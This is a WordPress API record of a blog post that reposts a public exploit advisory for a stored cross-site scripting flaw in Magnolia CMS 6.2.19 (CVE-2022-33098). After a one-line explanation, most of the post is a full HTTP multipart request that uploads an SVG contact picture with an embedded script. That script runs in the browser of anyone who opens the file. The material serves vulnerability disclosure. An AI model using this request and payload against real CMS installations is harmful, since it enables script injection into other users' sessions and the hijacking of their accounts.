{"id":26572,"date":"2022-07-06T20:48:29","date_gmt":"2022-07-06T16:48:29","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167705\/magnoliacms6219-xss.txt"},"modified":"2022-07-11T14:35:52","modified_gmt":"2022-07-11T10:05:52","slug":"magnolia-cms-6-2-19-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/magnolia-cms-6-2-19-cross-site-scripting\/","title":{"rendered":"Magnolia CMS 6.2.19 Cross Site Scripting"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Magnolia CMS &lt;= 6.2.19 &#8211; Stored Cross-Site Scripting (XSS)<br \/>\n# Date: 08\/05\/2022<br \/>\n# Exploit Author: Giulio Garzia &#8216;Ozozuz&#8217;<br \/>\n# Vendor Homepage: https:\/\/www.magnolia-cms.com\/<br \/>\n# Software Link: https:\/\/nexus.magnolia-cms.com\/service\/local\/repositories\/magnolia.public.releases\/content\/info\/magnolia\/bundle\/magnolia-community-demo-webapp\/6.2.19\/magnolia-community-demo-webapp-6.2.19-tomcat-bundle.zip<br \/>\n# Version: 6.2.19<br \/>\n# Tested on: Linux, Windows, Docker<br \/>\n# CVE : CVE-2022-33098<\/p>\n<p dir=\"ltr\">Explanation<br \/>\nMalicious user with the permissions to upload profile picture for a contact, can upload an SVG file containing malicious JavaScript code that will be executed by anyone opening the malicious resource.<\/p>\n<p dir=\"ltr\">===== REQUEST =====<br \/>\nPOST \/magnoliaAuthor\/.magnolia\/admincentral\/APP\/UPLOAD\/0\/140\/action\/cba61868-b27a-4d50-983d-adf48b992be1 HTTP\/1.1<br \/>\nHost: 127.0.0.1:8080<br \/>\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:91.0) Gecko\/20100101 Firefox\/91.0<br \/>\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8<br \/>\nAccept-Language: en-US,en;q=0.5<br \/>\nAccept-Encoding: gzip, deflate<br \/>\nContent-Type: multipart\/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;399178799522967017241464837908<br \/>\nContent-Length: 620<br \/>\nConnection: close<br \/>\nCookie: csrf=_WLVhBj-Vv-sdc37C4GBahMJ1tPS_7o_Y1VCEEw18Ks; JSESSIONID=F2678A586264F811C2746E4138BEF34D<br \/>\nUpgrade-Insecure-Requests: 1<br \/>\nSec-Fetch-Dest: iframe<br \/>\nSec-Fetch-Mode: navigate<br \/>\nSec-Fetch-Site: same-origin<\/p>\n<p dir=\"ltr\">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;399178799522967017241464837908<br \/>\nContent-Disposition: form-data; name=&#8221;140_file&#8221;; filename=&#8221;xss.svg&#8221;<br \/>\nContent-Type: image\/svg+xml<\/p>\n<p dir=\"ltr\">&lt;?xml version=&#8221;1.0&#8243; standalone=&#8221;no&#8221;?&gt;<br \/>\n&lt;!DOCTYPE svg PUBLIC &#8220;-\/\/W3C\/\/DTD SVG 1.1\/\/EN&#8221; &#8220;http:\/\/www.w3.org\/Graphics\/SVG\/1.1\/DTD\/svg11.dtd&#8221;&gt;<\/p>\n<p dir=\"ltr\">&lt;svg version=&#8221;1.1&#8243; baseProfile=&#8221;full&#8221; xmlns=&#8221;http:\/\/www.w3.org\/2000\/svg&#8221;&gt;<br \/>\n&lt;polygon id=&#8221;triangle&#8221; points=&#8221;0,0 0,50 50,0&#8243; fill=&#8221;#009900&#8243; stroke=&#8221;#004400&#8243;\/&gt;<br \/>\n&lt;script type=&#8221;text\/javascript&#8221;&gt;<br \/>\nalert(&#8216;POC &#8211; Magnolia CMS&#8217;);<br \/>\n&lt;\/script&gt;<br \/>\n&lt;\/svg&gt;<\/p>\n<p dir=\"ltr\">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;399178799522967017241464837908&#8211;<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Magnolia CMS &lt;= 6.2.19 &#8211; Stored Cross-Site Scripting (XSS) # Date: 08\/05\/2022 # Exploit Author: Giulio Garzia &#8216;Ozozuz&#8217; # Vendor Homepage: https:\/\/www.magnolia-cms.com\/ # Software Link: https:\/\/nexus.magnolia-cms.com\/service\/local\/repositories\/magnolia.public.releases\/content\/info\/magnolia\/bundle\/magnolia-community-demo-webapp\/6.2.19\/magnolia-community-demo-webapp-6.2.19-tomcat-bundle.zip # Version: 6.2.19 # Tested on: Linux, Windows, Docker # CVE : CVE-2022-33098 Explanation Malicious user with the permissions to upload profile picture for a contact, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-26572","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26572","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=26572"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26572\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=26572"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=26572"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=26572"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}